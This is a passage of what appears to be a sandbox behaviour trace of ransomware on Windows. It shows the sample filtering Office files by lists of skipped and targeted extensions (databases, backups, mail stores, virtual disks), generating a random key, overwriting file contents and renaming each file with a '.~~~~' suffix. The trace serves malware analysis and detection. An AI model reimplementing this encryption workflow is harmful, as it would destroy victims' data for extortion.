	[0134.544] lstrlenW (lpString=".msp") returned 4
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.544] lstrlenW (lpString=".pif") returned 4
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.544] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.544] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.546] lstrlenW (lpString=".sqb") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.546] lstrlenW (lpString=".ost") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.546] lstrlenW (lpString=".txt") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.546] lstrlenW (lpString=".mdt") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.546] lstrlenW (lpString=".BDB") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.546] lstrlenW (lpString=".eql") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.546] lstrlenW (lpString=".DBF") returned 4
	[0134.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.547] lstrlenW (lpString=".EQL") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.547] lstrlenW (lpString=".FDB") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.547] lstrlenW (lpString=".EDB") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.547] lstrlenW (lpString=".DACPAC") returned 7
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.547] lstrlenW (lpString=".VHD") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.547] lstrlenW (lpString=".DBV") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.547] lstrlenW (lpString=".dacpac") returned 7
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.547] lstrlenW (lpString=".sdf") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.547] lstrlenW (lpString=".accdb") returned 6
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.547] lstrlenW (lpString=".DBX") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.547] lstrlenW (lpString=".MDT") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.547] lstrlenW (lpString=".SQB") returned 4
	[0134.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.548] lstrlenW (lpString=".vhd") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.548] lstrlenW (lpString=".bac") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.548] lstrlenW (lpString=".mdf") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.548] lstrlenW (lpString=".BAK") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.548] lstrlenW (lpString=".BAC") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.548] lstrlenW (lpString=".dbs") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.548] lstrlenW (lpString=".vhdx") returned 5
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.548] lstrlenW (lpString=".NDF") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.548] lstrlenW (lpString=".dat") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.548] lstrlenW (lpString=".DBS") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.548] lstrlenW (lpString=".CKP") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.548] lstrlenW (lpString=".edb") returned 4
	[0134.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.548] lstrlenW (lpString=".PST") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.549] lstrlenW (lpString=".dbf") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.549] lstrlenW (lpString=".SQL") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.549] lstrlenW (lpString=".pst") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.549] lstrlenW (lpString=".dbv") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.549] lstrlenW (lpString=".SDF") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.549] lstrlenW (lpString=".dtxs") returned 5
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.549] lstrlenW (lpString=".db3") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.549] lstrlenW (lpString=".OST") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.549] lstrlenW (lpString=".dbx") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.549] lstrlenW (lpString=".DB3") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.549] lstrlenW (lpString=".DAT") returned 4
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.549] lstrlenW (lpString=".VHDX") returned 5
	[0134.549] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.549] lstrlenW (lpString=".ndf") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.550] lstrlenW (lpString=".DB") returned 3
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.550] lstrlenW (lpString=".sql") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.550] lstrlenW (lpString=".MYD") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.550] lstrlenW (lpString=".DBT") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.550] lstrlenW (lpString=".ACCDB") returned 6
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.550] lstrlenW (lpString=".fdb") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.550] lstrlenW (lpString=".bak") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.550] lstrlenW (lpString=".myd") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.550] lstrlenW (lpString=".DTXS") returned 5
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.550] lstrlenW (lpString=".ckp") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.550] lstrlenW (lpString=".dbt") returned 4
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.550] lstrlenW (lpString=".db") returned 3
	[0134.550] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".db") returned 0x0
	[0134.550] lstrlenW (lpString=".TXT") returned 4
	[0134.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.551] lstrlenW (lpString=".MDF") returned 4
	[0134.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.551] lstrlenW (lpString=".bdb") returned 4
	[0134.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.551] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.551] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0134.552] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.552] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.552] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25454243988) returned 1
	[0134.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9a413d0, dwHighDateTime=0x1d60e1e)) 
	[0134.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cea8
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cea8 | out: hHeap=0x300000) returned 1
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7390
	[0134.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.553] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.553] GetLastError () returned 0x0
	[0134.553] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.554] GetLastError () returned 0x0
	[0134.555] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.555] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.555] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.555] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.555] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.556] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.556] CloseHandle (hObject=0xc4) returned 1
	[0134.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.556] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.~~~~")) returned 1
	[0134.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.558] GetLastError () returned 0x0
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".scr") returned 0x0
	[0134.559] lstrlenW (lpString=".cmd") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".cmd") returned 0x0
	[0134.559] lstrlenW (lpString=".dll") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dll") returned 0x0
	[0134.559] lstrlenW (lpString=".bat") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".bat") returned 0x0
	[0134.559] lstrlenW (lpString=".cpl") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".cpl") returned 0x0
	[0134.559] lstrlenW (lpString=".sys") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".sys") returned 0x0
	[0134.559] lstrlenW (lpString=".msc") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".msc") returned 0x0
	[0134.559] lstrlenW (lpString=".com") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".com") returned 0x0
	[0134.559] lstrlenW (lpString=".lnk") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".lnk") returned 0x0
	[0134.559] lstrlenW (lpString=".msp") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".msp") returned 0x0
	[0134.559] lstrlenW (lpString=".pif") returned 4
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".pif") returned 0x0
	[0134.559] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.559] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0134.559] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.561] lstrlenW (lpString=".sqb") returned 4
	[0134.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".sqb") returned 0x0
	[0134.561] lstrlenW (lpString=".ost") returned 4
	[0134.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".ost") returned 0x0
	[0134.561] lstrlenW (lpString=".txt") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".txt") returned 0x0
	[0134.562] lstrlenW (lpString=".mdt") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".mdt") returned 0x0
	[0134.562] lstrlenW (lpString=".BDB") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".BDB") returned 0x0
	[0134.562] lstrlenW (lpString=".eql") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".eql") returned 0x0
	[0134.562] lstrlenW (lpString=".DBF") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DBF") returned 0x0
	[0134.562] lstrlenW (lpString=".EQL") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".EQL") returned 0x0
	[0134.562] lstrlenW (lpString=".FDB") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".FDB") returned 0x0
	[0134.562] lstrlenW (lpString=".EDB") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".EDB") returned 0x0
	[0134.562] lstrlenW (lpString=".DACPAC") returned 7
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DACPAC") returned 0x0
	[0134.562] lstrlenW (lpString=".VHD") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".VHD") returned 0x0
	[0134.562] lstrlenW (lpString=".DBV") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DBV") returned 0x0
	[0134.562] lstrlenW (lpString=".dacpac") returned 7
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".dacpac") returned 0x0
	[0134.562] lstrlenW (lpString=".sdf") returned 4
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".sdf") returned 0x0
	[0134.562] lstrlenW (lpString=".accdb") returned 6
	[0134.562] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".accdb") returned 0x0
	[0134.563] lstrlenW (lpString=".DBX") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".DBX") returned 0x0
	[0134.563] lstrlenW (lpString=".MDT") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".MDT") returned 0x0
	[0134.563] lstrlenW (lpString=".SQB") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".SQB") returned 0x0
	[0134.563] lstrlenW (lpString=".vhd") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".vhd") returned 0x0
	[0134.563] lstrlenW (lpString=".bac") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".bac") returned 0x0
	[0134.563] lstrlenW (lpString=".mdf") returned 4
	[0134.563] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS", lpSrch=".mdf") returned 0x0
